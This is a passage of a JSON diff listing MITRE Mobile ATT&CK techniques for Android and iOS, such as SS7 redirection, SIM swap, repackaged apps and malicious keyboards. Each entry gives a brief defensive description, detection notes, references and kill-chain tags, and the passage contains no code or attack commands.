"mitre-mobile-attack:enterprise-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce" + }, + { + "description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS", + "value": "Stolen Developer Credentials or Signing Keys - MOB-T1044", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1044", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html", + "http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html" + ], + "external_id": "ECO-17", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-authorized-app-store" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881" + }, + { + "description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.\n\nDetection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.\n\nPlatforms: Android, iOS", + "value": "Network Traffic Capture or Redirection - MOB-T1013", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013", + "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" + ], + "external_id": "MOB-T1013", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9" + }, + { + "description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).\n\nPlatforms: Android, iOS", + "value": "Access Sensitive Data or Credentials in Files - MOB-T1012", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html" + ], + "external_id": "AUT-0", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160" + }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).\n\nDetection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.\n\nPlatforms: Android", + "value": "Modify Trusted Execution Environment - MOB-T1002", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1002", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf", + "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" + ], + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion", + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468" + }, + { + "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.\n\nPlatforms: Android, iOS", + "value": "Downgrade to Insecure Protocols - MOB-T1069", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1069", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", + "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf" + ], + "external_id": "CEL-3", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based", + "mitre-mobile-attack:enterprise-attack:general-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34" + }, + { + "description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.\n\nPlatforms: Android, iOS", + "value": "Generate Fraudulent Advertising Revenue - MOB-T1075", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075" + ], + "external_id": "MOB-T1075", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf" + }, + { + "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n (Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.\n\nPlatforms: Android", + "value": "App Auto-Start at Device Boot - MOB-T1005", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005", + "http://ieeexplore.ieee.org/document/6234407" + ], + "external_id": "MOB-T1005", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.\n\nPlatforms: Android, iOS", + "value": "Commonly Used Port - MOB-T1039", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039" + ], + "external_id": "MOB-T1039", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:command-and-control", + "mitre-mobile-attack:enterprise-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad" + }, + { + "description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).\n\nPlatforms: Android, iOS", + "value": "Manipulate App Store Rankings or Ratings - MOB-T1055", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055" + ], + "external_id": "MOB-T1055", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69" + }, + { + "description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", + "value": "Access Calendar Entries - MOB-T1038", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ], + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "62adb627-f647-498e-b4cc-41499361bacb" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).\n\nDetection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", + "value": "Remotely Wipe Data Without Authorization - MOB-T1072", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1072", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html", + "https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/" + ], + "external_id": "EMM-7", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cloud-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067" + }, + { + "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS", + "value": "Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html", + "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", + "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf", + "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + ], + "external_id": "CEL-37", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d" + }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.\n\nDetection: The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nSamsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered \"if a non-Knox kernel has been loaded on the device\" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nMany enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.\n\nPlatforms: Android, iOS", + "value": "Modify OS Kernel or Boot Partition - MOB-T1001", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered", + "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" + ], + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion", + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5" + }, + { + "description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).\n\nPlatforms: Android", + "value": "Abuse Accessibility Features - MOB-T1056", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056", + "https://www.skycure.com/blog/accessibility-clickjacking/" + ], + "external_id": "MOB-T1056", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "2204c371-6100-4ae0-82f3-25c07c29772a" + }, + { + "description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS", + "value": "Insecure Third-Party Libraries - MOB-T1028", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" + ], + "external_id": "APP-6", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:supply-chain" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799" + }, + { + "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).\n\nPlatforms: Android, iOS", + "value": "Download New Code at Runtime - MOB-T1010", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1010", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", + "https://www.internetsociety.org/sites/default/files/10%205%200.pdf", + "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", + "https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei" + ], + "external_id": "APP-20", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "6c49d50f-494d-4150-b774-a655022d20a6" + }, + { + "description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS", + "value": "Exploit SS7 to Track Device Location - MOB-T1053", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", + "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", + "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf", + "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + ], + "external_id": "CEL-38", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5" + }, + { + "description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nPlatforms: Android, iOS", + "value": "Malicious Third Party Keyboard App - MOB-T1020", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020", + "https://zeltser.com/third-party-keyboards-security/" + ], + "external_id": "MOB-T1020", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad" + }, + { + "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.\n\nPlatforms: Android, iOS", + "value": "Exploit OS Vulnerability - MOB-T1007", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" + ], + "external_id": "APP-26", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172" + }, + { + "description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android", + "value": "Remotely Install Application - MOB-T1046", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1046", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html", + "https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/", + "http://www.vvdveen.com/publications/BAndroid.pdf" + ], + "external_id": "ECO-4", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-authorized-app-store" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "831e3269-da49-48ac-94dc-948008e8fd16" + }, + { + "description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in (Citation: Sabanal-ART).\n\nPlatforms: Android", + "value": "Modify cached executable code - MOB-T1006", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006", + "https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf" + ], + "external_id": "MOB-T1006", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6" + }, + { + "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.\n\nPlatforms: Android, iOS", + "value": "Application Discovery - MOB-T1021", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021", + "https://developer.android.com/reference/android/content/pm/PackageManager.html", + "https://andreas-kurtz.de/2014/09/malicious-ios-apps/" + ], + "external_id": "MOB-T1021", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion", + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2" + }, + { + "description": "Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.\n\nPlatforms: Android, iOS", + "value": "Lockscreen Bypass - MOB-T1064", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064", + "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/", + "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/" + ], + "external_id": "MOB-T1064", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-physical-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd" + }, + { + "description": "An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).\n\nPlatforms: Android, iOS", + "value": "SIM Card Swap - MOB-T1054", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1054", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html", + "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html", + "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/", + "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters" + ], + "external_id": "STA-22", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5" + }, + { + "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", + "value": "Location Tracking - MOB-T1033", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" + ], + "external_id": "APP-24", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4" + }, + { + "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n\nPlatforms: Android, iOS", + "value": "Exploit via Charging Station or PC - MOB-T1061", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1061", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", + "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", + "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", + "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/" + ], + "external_id": "PHY-1", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-physical-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "667e5707-3843-4da8-bd34-88b922526f0d" + }, + { + "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\n\nPlatforms: Android, iOS", + "value": "Manipulate Device Communication - MOB-T1066", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" + ], + "external_id": "APP-1", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:general-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63" + }, + { + "description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).\n\nPlatforms: Android, iOS", + "value": "Rogue Cellular Base Station - MOB-T1070", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html" + ], + "external_id": "CEL-7", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed" + }, + { + "description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", + "value": "Repackaged Application - MOB-T1047", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html", + "http://ieeexplore.ieee.org/document/6234407" + ], + "external_id": "APP-14", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-authorized-app-store", + "mitre-mobile-attack:enterprise-attack:app-delivery-via-other-means" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f" + }, + { + "description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).\n\nPlatforms: Android, iOS", + "value": "Lock User Out of Device - MOB-T1049", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html", + "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" + ], + "external_id": "APP-28", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1" + }, + { + "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", + "value": "Malicious Software Development Tools - MOB-T1065", + "meta": { + "refs": [ + 